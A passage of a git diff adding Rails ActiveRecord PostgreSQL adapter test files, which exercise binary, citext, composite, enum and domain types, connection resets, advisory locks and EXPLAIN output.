+    assert_equal :binary, @column.type
+  end
+
+  def test_binary_columns_are_limitless_the_upper_limit_is_one_GB
+    assert_equal "bytea", @connection.type_to_sql(:binary, limit: 100_000)
+    assert_raise ActiveRecord::ActiveRecordError do
+      @connection.type_to_sql(:binary, limit: 4294967295)
+    end
+  end
+
+  def test_type_cast_binary_converts_the_encoding
+    assert @column
+
+    data = "\u001F\x8B"
+    assert_equal("UTF-8", data.encoding.name)
+    assert_equal("ASCII-8BIT", @type.deserialize(data).encoding.name)
+  end
+
+  def test_type_cast_binary_value
+    data = "\u001F\x8B".dup.force_encoding("BINARY")
+    assert_equal(data, @type.deserialize(data))
+  end
+
+  def test_type_case_nil
+    assert_nil(@type.deserialize(nil))
+  end
+
+  def test_read_value
+    data = "\u001F"
+    @connection.execute "insert into bytea_data_type (payload) VALUES ('#{data}')"
+    record = ByteaDataType.first
+    assert_equal(data, record.payload)
+    record.delete
+  end
+
+  def test_read_nil_value
+    @connection.execute "insert into bytea_data_type (payload) VALUES (null)"
+    record = ByteaDataType.first
+    assert_nil(record.payload)
+    record.delete
+  end
+
+  def test_write_value
+    data = "\u001F"
+    record = ByteaDataType.create(payload: data)
+    assert_not record.new_record?
+    assert_equal(data, record.payload)
+  end
+
+  def test_via_to_sql
+    data = "'\u001F\\"
+    ByteaDataType.create(payload: data)
+    sql = ByteaDataType.where(payload: data).select(:payload).to_sql
+    result = @connection.query(sql)
+    assert_equal([[data]], result)
+  end
+
+  def test_via_to_sql_with_complicating_connection
+    Thread.new do
+      other_conn = ActiveRecord::Base.connection
+      other_conn.execute("SET standard_conforming_strings = off")
+      other_conn.execute("SET escape_string_warning = off")
+    end.join
+
+    test_via_to_sql
+  end
+
+  def test_write_binary
+    data = File.read(File.join(__dir__, "..", "..", "..", "assets", "example.log"))
+    assert(data.size > 1)
+    record = ByteaDataType.create(payload: data)
+    assert_not record.new_record?
+    assert_equal(data, record.payload)
+    assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
+  end
+
+  def test_write_nil
+    record = ByteaDataType.create(payload: nil)
+    assert_not record.new_record?
+    assert_nil(record.payload)
+    assert_nil(ByteaDataType.where(id: record.id).first.payload)
+  end
+
+  class Serializer
+    def load(str); str; end
+    def dump(str); str; end
+  end
+
+  def test_serialize
+    klass = Class.new(ByteaDataType) {
+      serialize :serialized, Serializer.new
+    }
+    obj = klass.new
+    obj.serialized = "hello world"
+    obj.save!
+    obj.reload
+    assert_equal "hello world", obj.serialized
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("bytea_data_type")
+    assert_match %r{t\.binary\s+"payload"$}, output
+    assert_match %r{t\.binary\s+"serialized"$}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb b/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb
new file mode 100644
index 0000000000..305e033642
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlCaseInsensitiveTest < ActiveRecord::PostgreSQLTestCase
+  class Default < ActiveRecord::Base; end
+
+  def test_case_insensitiveness
+    connection = ActiveRecord::Base.connection
+    table = Default.arel_table
+
+    column = Default.columns_hash["char1"]
+    comparison = connection.case_insensitive_comparison table, :char1, column, nil
+    assert_match(/lower/i, comparison.to_sql)
+
+    column = Default.columns_hash["char2"]
+    comparison = connection.case_insensitive_comparison table, :char2, column, nil
+    assert_match(/lower/i, comparison.to_sql)
+
+    column = Default.columns_hash["char3"]
+    comparison = connection.case_insensitive_comparison table, :char3, column, nil
+    assert_match(/lower/i, comparison.to_sql)
+
+    column = Default.columns_hash["multiline_default"]
+    comparison = connection.case_insensitive_comparison table, :multiline_default, column, nil
+    assert_match(/lower/i, comparison.to_sql)
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
new file mode 100644
index 0000000000..adf461a9cc
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class PGChangeSchemaTest < ActiveRecord::PostgreSQLTestCase
+      attr_reader :connection
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        connection.create_table(:strings) do |t|
+          t.string :somedate
+        end
+      end
+
+      def teardown
+        connection.drop_table :strings
+      end
+
+      def test_change_string_to_date
+        connection.change_column :strings, :somedate, :timestamp, using: 'CAST("somedate" AS timestamp)'
+        assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+      end
+
+      def test_change_type_with_symbol
+        connection.change_column :strings, :somedate, :timestamp, cast_as: :timestamp
+        assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+      end
+
+      def test_change_type_with_array
+        connection.change_column :strings, :somedate, :timestamp, array: true, cast_as: :timestamp
+        column = connection.columns(:strings).find { |c| c.name == "somedate" }
+        assert_equal :datetime, column.type
+        assert column.array?
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/cidr_test.rb b/activerecord/test/cases/adapters/postgresql/cidr_test.rb
new file mode 100644
index 0000000000..f20958fbd2
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/cidr_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "ipaddr"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter < AbstractAdapter
+      class CidrTest < ActiveRecord::PostgreSQLTestCase
+        test "type casting IPAddr for database" do
+          type = OID::Cidr.new
+          ip = IPAddr.new("255.0.0.0/8")
+          ip2 = IPAddr.new("127.0.0.1")
+
+          assert_equal "255.0.0.0/8", type.serialize(ip)
+          assert_equal "127.0.0.1/32", type.serialize(ip2)
+        end
+
+        test "casting does nothing with non-IPAddr objects" do
+          type = OID::Cidr.new
+
+          assert_equal "foo", type.serialize("foo")
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/citext_test.rb b/activerecord/test/cases/adapters/postgresql/citext_test.rb
new file mode 100644
index 0000000000..050614cade
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/citext_test.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.connection.supports_extensions?
+  class PostgresqlCitextTest < ActiveRecord::PostgreSQLTestCase
+    include SchemaDumpingHelper
+    class Citext < ActiveRecord::Base
+      self.table_name = "citexts"
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+
+      enable_extension!("citext", @connection)
+
+      @connection.create_table("citexts") do |t|
+        t.citext "cival"
+      end
+    end
+
+    teardown do
+      @connection.drop_table "citexts", if_exists: true
+      disable_extension!("citext", @connection)
+    end
+
+    def test_citext_enabled
+      assert @connection.extension_enabled?("citext")
+    end
+
+    def test_column
+      column = Citext.columns_hash["cival"]
+      assert_equal :citext, column.type
+      assert_equal "citext", column.sql_type
+      assert_not column.array?
+
+      type = Citext.type_for_attribute("cival")
+      assert_not type.binary?
+    end
+
+    def test_change_table_supports_json
+      @connection.transaction do
+        @connection.change_table("citexts") do |t|
+          t.citext "username"
+        end
+        Citext.reset_column_information
+        column = Citext.columns_hash["username"]
+        assert_equal :citext, column.type
+
+        raise ActiveRecord::Rollback # reset the schema change
+      end
+    ensure
+      Citext.reset_column_information
+    end
+
+    def test_write
+      x = Citext.new(cival: "Some CI Text")
+      x.save!
+      citext = Citext.first
+      assert_equal "Some CI Text", citext.cival
+
+      citext.cival = "Some NEW CI Text"
+      citext.save!
+
+      assert_equal "Some NEW CI Text", citext.reload.cival
+    end
+
+    def test_select_case_insensitive
+      @connection.execute "insert into citexts (cival) values('Cased Text')"
+      x = Citext.where(cival: "cased text").first
+      assert_equal "Cased Text", x.cival
+    end
+
+    def test_schema_dump_with_shorthand
+      output = dump_table_schema("citexts")
+      assert_match %r[t\.citext "cival"], output
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/collation_test.rb b/activerecord/test/cases/adapters/postgresql/collation_test.rb
new file mode 100644
index 0000000000..7468f4c4f8
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/collation_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlCollationTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :postgresql_collations, force: true do |t|
+      t.string :string_c, collation: "C"
+      t.text :text_posix, collation: "POSIX"
+    end
+  end
+
+  def teardown
+    @connection.drop_table :postgresql_collations, if_exists: true
+  end
+
+  test "string column with collation" do
+    column = @connection.columns(:postgresql_collations).find { |c| c.name == "string_c" }
+    assert_equal :string, column.type
+    assert_equal "C", column.collation
+  end
+
+  test "text column with collation" do
+    column = @connection.columns(:postgresql_collations).find { |c| c.name == "text_posix" }
+    assert_equal :text, column.type
+    assert_equal "POSIX", column.collation
+  end
+
+  test "add column with collation" do
+    @connection.add_column :postgresql_collations, :title, :string, collation: "C"
+
+    column = @connection.columns(:postgresql_collations).find { |c| c.name == "title" }
+    assert_equal :string, column.type
+    assert_equal "C", column.collation
+  end
+
+  test "change column with collation" do
+    @connection.add_column :postgresql_collations, :description, :string
+    @connection.change_column :postgresql_collations, :description, :text, collation: "POSIX"
+
+    column = @connection.columns(:postgresql_collations).find { |c| c.name == "description" }
+    assert_equal :text, column.type
+    assert_equal "POSIX", column.collation
+  end
+
+  test "schema dump includes collation" do
+    output = dump_table_schema("postgresql_collations")
+    assert_match %r{t\.string\s+"string_c",\s+collation: "C"$}, output
+    assert_match %r{t\.text\s+"text_posix",\s+collation: "POSIX"$}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb
new file mode 100644
index 0000000000..5da95f7e2c
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+module PostgresqlCompositeBehavior
+  include ConnectionHelper
+
+  class PostgresqlComposite < ActiveRecord::Base
+    self.table_name = "postgresql_composites"
+  end
+
+  def setup
+    super
+
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute <<-SQL
+         CREATE TYPE full_address AS
+         (
+             city VARCHAR(90),
+             street VARCHAR(90)
+         );
+        SQL
+      @connection.create_table("postgresql_composites") do |t|
+        t.column :address, :full_address
+      end
+    end
+  end
+
+  def teardown
+    super
+
+    @connection.drop_table "postgresql_composites", if_exists: true
+    @connection.execute "DROP TYPE IF EXISTS full_address"
+    reset_connection
+    PostgresqlComposite.reset_column_information
+  end
+end
+
+# Composites are mapped to `OID::Identity` by default. The user is informed by a warning like:
+#   "unknown OID 5653508: failed to recognize type of 'address'. It will be treated as String."
+# To take full advantage of composite types, we suggest you register your own +OID::Type+.
+# See PostgresqlCompositeWithCustomOIDTest
+class PostgresqlCompositeTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlCompositeBehavior
+
+  def test_column
+    ensure_warning_is_issued
+
+    column = PostgresqlComposite.columns_hash["address"]
+    assert_nil column.type
+    assert_equal "full_address", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlComposite.type_for_attribute("address")
+    assert_not type.binary?
+  end
+
+  def test_composite_mapping
+    ensure_warning_is_issued
+
+    @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+    composite = PostgresqlComposite.first
+    assert_equal "(Paris,Champs-Élysées)", composite.address
+
+    composite.address = "(Paris,Rue Basse)"
+    composite.save!
+
+    assert_equal '(Paris,"Rue Basse")', composite.reload.address
+  end
+
+  private
+    def ensure_warning_is_issued
+      warning = capture(:stderr) do
+        PostgresqlComposite.columns_hash
+      end
+      assert_match(/unknown OID \d+: failed to recognize type of 'address'\. It will be treated as String\./, warning)
+    end
+end
+
+class PostgresqlCompositeWithCustomOIDTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlCompositeBehavior
+
+  class FullAddressType < ActiveRecord::Type::Value
+    def type; :full_address end
+
+    def deserialize(value)
+      if value =~ /\("?([^",]*)"?,"?([^",]*)"?\)/
+        FullAddress.new($1, $2)
+      end
+    end
+
+    def cast(value)
+      value
+    end
+
+    def serialize(value)
+      return if value.nil?
+      "(#{value.city},#{value.street})"
+    end
+  end
+
+  FullAddress = Struct.new(:city, :street)
+
+  def setup
+    super
+
+    @connection.send(:type_map).register_type "full_address", FullAddressType.new
+  end
+
+  def test_column
+    column = PostgresqlComposite.columns_hash["address"]
+    assert_equal :full_address, column.type
+    assert_equal "full_address", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlComposite.type_for_attribute("address")
+    assert_not type.binary?
+  end
+
+  def test_composite_mapping
+    @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+    composite = PostgresqlComposite.first
+    assert_equal "Paris", composite.address.city
+    assert_equal "Champs-Élysées", composite.address.street
+
+    composite.address = FullAddress.new("Paris", "Rue Basse")
+    composite.save!
+
+    assert_equal "Paris", composite.reload.address.city
+    assert_equal "Rue Basse", composite.reload.address.street
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
new file mode 100644
index 0000000000..24875c6678
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -0,0 +1,265 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  class PostgresqlConnectionTest < ActiveRecord::PostgreSQLTestCase
+    include ConnectionHelper
+
+    class NonExistentTable < ActiveRecord::Base
+    end
+
+    fixtures :comments
+
+    def setup
+      super
+      @subscriber = SQLSubscriber.new
+      @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
+      @connection = ActiveRecord::Base.connection
+    end
+
+    def teardown
+      ActiveSupport::Notifications.unsubscribe(@subscription)
+      super
+    end
+
+    def test_truncate
+      count = ActiveRecord::Base.connection.execute("select count(*) from comments").first["count"].to_i
+      assert_operator count, :>, 0
+      ActiveRecord::Base.connection.truncate("comments")
+      count = ActiveRecord::Base.connection.execute("select count(*) from comments").first["count"].to_i
+      assert_equal 0, count
+    end
+
+    def test_encoding
+      assert_queries(1) do
+        assert_not_nil @connection.encoding
+      end
+    end
+
+    def test_collation
+      assert_queries(1) do
+        assert_not_nil @connection.collation
+      end
+    end
+
+    def test_ctype
+      assert_queries(1) do
+        assert_not_nil @connection.ctype
+      end
+    end
+
+    def test_default_client_min_messages
+      assert_equal "warning", @connection.client_min_messages
+    end
+
+    # Ensure, we can set connection params using the example of Generic
+    # Query Optimizer (geqo). It is 'on' per default.
+    def test_connection_options
+      params = ActiveRecord::Base.connection_config.dup
+      params[:options] = "-c geqo=off"
+      NonExistentTable.establish_connection(params)
+
+      # Verify the connection param has been applied.
+      expect = NonExistentTable.connection.query("show geqo").first.first
+      assert_equal "off", expect
+    end
+
+    def test_reset
+      @connection.query("ROLLBACK")
+      @connection.query("SET geqo TO off")
+
+      # Verify the setting has been applied.
+      expect = @connection.query("show geqo").first.first
+      assert_equal "off", expect
+
+      @connection.reset!
+
+      # Verify the setting has been cleared.
+      expect = @connection.query("show geqo").first.first
+      assert_equal "on", expect
+    end
+
+    def test_reset_with_transaction
+      @connection.query("ROLLBACK")
+      @connection.query("SET geqo TO off")
+
+      # Verify the setting has been applied.
+      expect = @connection.query("show geqo").first.first
+      assert_equal "off", expect
+
+      @connection.query("BEGIN")
+      @connection.reset!
+
+      # Verify the setting has been cleared.
+      expect = @connection.query("show geqo").first.first
+      assert_equal "on", expect
+    end
+
+    def test_tables_logs_name
+      @connection.tables
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    def test_indexes_logs_name
+      assert_deprecated { @connection.indexes("items", "hello") }
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    def test_table_exists_logs_name
+      @connection.table_exists?("items")
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    def test_table_alias_length_logs_name
+      @connection.instance_variable_set("@max_identifier_length", nil)
+      @connection.table_alias_length
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    def test_current_database_logs_name
+      @connection.current_database
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    def test_encoding_logs_name
+      @connection.encoding
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    def test_schema_names_logs_name
+      @connection.schema_names
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+
+    if ActiveRecord::Base.connection.prepared_statements
+      def test_statement_key_is_logged
+        bind = Relation::QueryAttribute.new(nil, 1, Type::Value.new)
+        @connection.exec_query("SELECT $1::integer", "SQL", [bind], prepare: true)
+        name = @subscriber.payloads.last[:statement_name]
+        assert name
+        res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(1)")
+        plan = res.column_types["QUERY PLAN"].deserialize res.rows.first.first
+        assert_operator plan.length, :>, 0
+      end
+    end
+
+    # Must have PostgreSQL >= 9.2, or with_manual_interventions set to
+    # true for this test to run.
+    #
+    # When prompted, restart the PostgreSQL server with the
+    # "-m fast" option or kill the individual connection assuming
+    # you know the incantation to do that.
+    # To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
+    # sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
+    def test_reconnection_after_actual_disconnection_with_verify
+      original_connection_pid = @connection.query("select pg_backend_pid()")
+
+      # Sanity check.
+      assert @connection.active?
+
+      if @connection.send(:postgresql_version) >= 90200
+        secondary_connection = ActiveRecord::Base.connection_pool.checkout
+        secondary_connection.query("select pg_terminate_backend(#{original_connection_pid.first.first})")
+        ActiveRecord::Base.connection_pool.checkin(secondary_connection)
+      elsif ARTest.config["with_manual_interventions"]
+        puts "Kill the connection now (e.g. by restarting the PostgreSQL " \
+          'server with the "-m fast" option) and then press enter.'
+        $stdin.gets
+      else
+        # We're not capable of terminating the backend ourselves, and
+        # we're not allowed to seek assistance; bail out without
+        # actually testing anything.
+        return
+      end
+
+      @connection.verify!
+
+      assert @connection.active?
+
+      # If we get no exception here, then either we re-connected successfully, or
+      # we never actually got disconnected.
+      new_connection_pid = @connection.query("select pg_backend_pid()")
+
+      assert_not_equal original_connection_pid, new_connection_pid,
+        "umm -- looks like you didn't break the connection, because we're still " \
+        "successfully querying with the same connection pid."
+    ensure
+      # Repair all fixture connections so other tests won't break.
+      @fixture_connections.each(&:verify!)
+    end
+
+    def test_set_session_variable_true
+      run_without_connection do |orig_connection|
+        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: true }))
+        set_true = ActiveRecord::Base.connection.exec_query "SHOW DEBUG_PRINT_PLAN"
+        assert_equal set_true.rows, [["on"]]
+      end
+    end
+
+    def test_set_session_variable_false
+      run_without_connection do |orig_connection|
+        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: false }))
+        set_false = ActiveRecord::Base.connection.exec_query "SHOW DEBUG_PRINT_PLAN"
+        assert_equal set_false.rows, [["off"]]
+      end
+    end
+
+    def test_set_session_variable_nil
+      run_without_connection do |orig_connection|
+        # This should be a no-op that does not raise an error
+        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: nil }))
+      end
+    end
+
+    def test_set_session_variable_default
+      run_without_connection do |orig_connection|
+        # This should execute a query that does not raise an error
+        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: :default }))
+      end
+    end
+
+    def test_get_and_release_advisory_lock
+      lock_id = 5295901941911233559
+      list_advisory_locks = <<-SQL
+        SELECT locktype,
+              (classid::bigint << 32) | objid::bigint AS lock_id
+        FROM pg_locks
+        WHERE locktype = 'advisory'
+      SQL
+
+      got_lock = @connection.get_advisory_lock(lock_id)
+      assert got_lock, "get_advisory_lock should have returned true but it didn't"
+
+      advisory_lock = @connection.query(list_advisory_locks).find { |l| l[1] == lock_id }
+      assert advisory_lock,
+        "expected to find an advisory lock with lock_id #{lock_id} but there wasn't one"
+
+      released_lock = @connection.release_advisory_lock(lock_id)
+      assert released_lock, "expected release_advisory_lock to return true but it didn't"
+
+      advisory_locks = @connection.query(list_advisory_locks).select { |l| l[1] == lock_id }
+      assert_empty advisory_locks,
+        "expected to have released advisory lock with lock_id #{lock_id} but it was still held"
+    end
+
+    def test_release_non_existent_advisory_lock
+      fake_lock_id = 2940075057017742022
+      with_warning_suppression do
+        released_non_existent_lock = @connection.release_advisory_lock(fake_lock_id)
+        assert_equal released_non_existent_lock, false,
+          "expected release_advisory_lock to return false when there was no lock to release"
+      end
+    end
+
+    private
+
+      def with_warning_suppression
+        log_level = @connection.client_min_messages
+        @connection.client_min_messages = "error"
+        yield
+        @connection.client_min_messages = log_level
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
new file mode 100644
index 0000000000..b7535d5c9a
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+
+class PostgresqlTime < ActiveRecord::Base
+end
+
+class PostgresqlOid < ActiveRecord::Base
+end
+
+class PostgresqlLtree < ActiveRecord::Base
+end
+
+class PostgresqlDataTypeTest < ActiveRecord::PostgreSQLTestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    @connection.execute("INSERT INTO postgresql_times (id, time_interval, scaled_time_interval) VALUES (1, '1 year 2 days ago', '3 weeks ago')")
+    @first_time = PostgresqlTime.find(1)
+
+    @connection.execute("INSERT INTO postgresql_oids (id, obj_id) VALUES (1, 1234)")
+    @first_oid = PostgresqlOid.find(1)
+  end
+
+  teardown do
+    [PostgresqlTime, PostgresqlOid].each(&:delete_all)
+  end
+
+  def test_data_type_of_time_types
+    assert_equal :interval, @first_time.column_for_attribute(:time_interval).type
+    assert_equal :interval, @first_time.column_for_attribute(:scaled_time_interval).type
+  end
+
+  def test_data_type_of_oid_types
+    assert_equal :oid, @first_oid.column_for_attribute(:obj_id).type
+  end
+
+  def test_time_values
+    assert_equal "-1 years -2 days", @first_time.time_interval
+    assert_equal "-21 days", @first_time.scaled_time_interval
+  end
+
+  def test_oid_values
+    assert_equal 1234, @first_oid.obj_id
+  end
+
+  def test_update_time
+    @first_time.time_interval = "2 years 3 minutes"
+    assert @first_time.save
+    assert @first_time.reload
+    assert_equal "2 years 00:03:00", @first_time.time_interval
+  end
+
+  def test_update_oid
+    new_value = 567890
+    @first_oid.obj_id = new_value
+    assert @first_oid.save
+    assert @first_oid.reload
+    assert_equal new_value, @first_oid.obj_id
+  end
+
+  def test_text_columns_are_limitless_the_upper_limit_is_one_GB
+    assert_equal "text", @connection.type_to_sql(:text, limit: 100_000)
+    assert_raise ActiveRecord::ActiveRecordError do
+      @connection.type_to_sql(:text, limit: 4294967295)
+    end
+  end
+end
+
+class PostgresqlInternalDataTypeTest < ActiveRecord::PostgreSQLTestCase
+  include DdlHelper
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def test_name_column_type
+    with_example_table @connection, "ex", "data name" do
+      column = @connection.columns("ex").find { |col| col.name == "data" }
+      assert_equal :string, column.type
+    end
+  end
+
+  def test_char_column_type
+    with_example_table @connection, "ex", 'data "char"' do
+      column = @connection.columns("ex").find { |col| col.name == "data" }
+      assert_equal :string, column.type
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/domain_test.rb b/activerecord/test/cases/adapters/postgresql/domain_test.rb
new file mode 100644
index 0000000000..9c3817e2ad
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/domain_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class PostgresqlDomainTest < ActiveRecord::PostgreSQLTestCase
+  include ConnectionHelper
+
+  class PostgresqlDomain < ActiveRecord::Base
+    self.table_name = "postgresql_domains"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute "CREATE DOMAIN custom_money as numeric(8,2)"
+      @connection.create_table("postgresql_domains") do |t|
+        t.column :price, :custom_money
+      end
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_domains", if_exists: true
+    @connection.execute "DROP DOMAIN IF EXISTS custom_money"
+    reset_connection
+  end
+
+  def test_column
+    column = PostgresqlDomain.columns_hash["price"]
+    assert_equal :decimal, column.type
+    assert_equal "custom_money", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlDomain.type_for_attribute("price")
+    assert_not type.binary?
+  end
+
+  def test_domain_acts_like_basetype
+    PostgresqlDomain.create price: ""
+    record = PostgresqlDomain.first
+    assert_nil record.price
+
+    record.price = "34.15"
+    record.save!
+
+    assert_equal BigDecimal.new("34.15"), record.reload.price
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/enum_test.rb b/activerecord/test/cases/adapters/postgresql/enum_test.rb
new file mode 100644
index 0000000000..3d3cbe11a3
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/enum_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class PostgresqlEnumTest < ActiveRecord::PostgreSQLTestCase
+  include ConnectionHelper
+
+  class PostgresqlEnum < ActiveRecord::Base
+    self.table_name = "postgresql_enums"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute <<-SQL
+        CREATE TYPE mood AS ENUM ('sad', 'ok', 'happy');
+      SQL
+      @connection.create_table("postgresql_enums") do |t|
+        t.column :current_mood, :mood
+      end
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_enums", if_exists: true
+    @connection.execute "DROP TYPE IF EXISTS mood"
+    reset_connection
+  end
+
+  def test_column
+    column = PostgresqlEnum.columns_hash["current_mood"]
+    assert_equal :enum, column.type
+    assert_equal "mood", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlEnum.type_for_attribute("current_mood")
+    assert_not type.binary?
+  end
+
+  def test_enum_defaults
+    @connection.add_column "postgresql_enums", "good_mood", :mood, default: "happy"
+    PostgresqlEnum.reset_column_information
+
+    assert_equal "happy", PostgresqlEnum.column_defaults["good_mood"]
+    assert_equal "happy", PostgresqlEnum.new.good_mood
+  ensure
+    PostgresqlEnum.reset_column_information
+  end
+
+  def test_enum_mapping
+    @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+    enum = PostgresqlEnum.first
+    assert_equal "sad", enum.current_mood
+
+    enum.current_mood = "happy"
+    enum.save!
+
+    assert_equal "happy", enum.reload.current_mood
+  end
+
+  def test_invalid_enum_update
+    @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+    enum = PostgresqlEnum.first
+    enum.current_mood = "angry"
+
+    assert_raise ActiveRecord::StatementInvalid do
+      enum.save
+    end
+  end
+
+  def test_no_oid_warning
+    @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+    stderr_output = capture(:stderr) { PostgresqlEnum.first }
+
+    assert stderr_output.blank?
+  end
+
+  def test_enum_type_cast
+    enum = PostgresqlEnum.new
+    enum.current_mood = :happy
+
+    assert_equal "happy", enum.current_mood
+  end
+
+  def test_assigning_enum_to_nil
+    model = PostgresqlEnum.new(current_mood: nil)
+
+    assert_nil model.current_mood
+    assert model.save
+    assert_nil model.reload.current_mood
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
new file mode 100644
index 0000000000..16fec94ede
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+
+class PostgreSQLExplainTest < ActiveRecord::PostgreSQLTestCase
+  fixtures :developers
+
+  def test_explain_for_one_query
+    explain = Developer.where(id: 1).explain
+    assert_match %r(EXPLAIN for: SELECT "developers"\.\* FROM "developers" WHERE "developers"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
+    assert_match %(QUERY PLAN), explain
+  end
+
+  def test_explain_with_eager_loading
+    explain = Developer.where(id: 1).includes(:audit_logs).explain
+    assert_match %(QUERY PLAN), explain
+    assert_match %r(EXPLAIN for: SELECT "developers"\.\* FROM "developers" WHERE "developers"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
+    assert_match %r(EXPLAIN for: SELECT "audit_logs"\.\* FROM "audit_logs" WHERE "audit_logs"\."developer_id" = (?:\$1 \[\["developer_id", 1\]\]|1)), explain
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
new file mode 100644
index 0000000000..e589e3ab1b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlExtensionMigrationTest < ActiveRecord::PostgreSQLTestCase
+  self.use_transactional_tests = false
+
+  class EnableHstore < ActiveRecord::Migration::Current
+    def change
+      enable_extension "hstore"
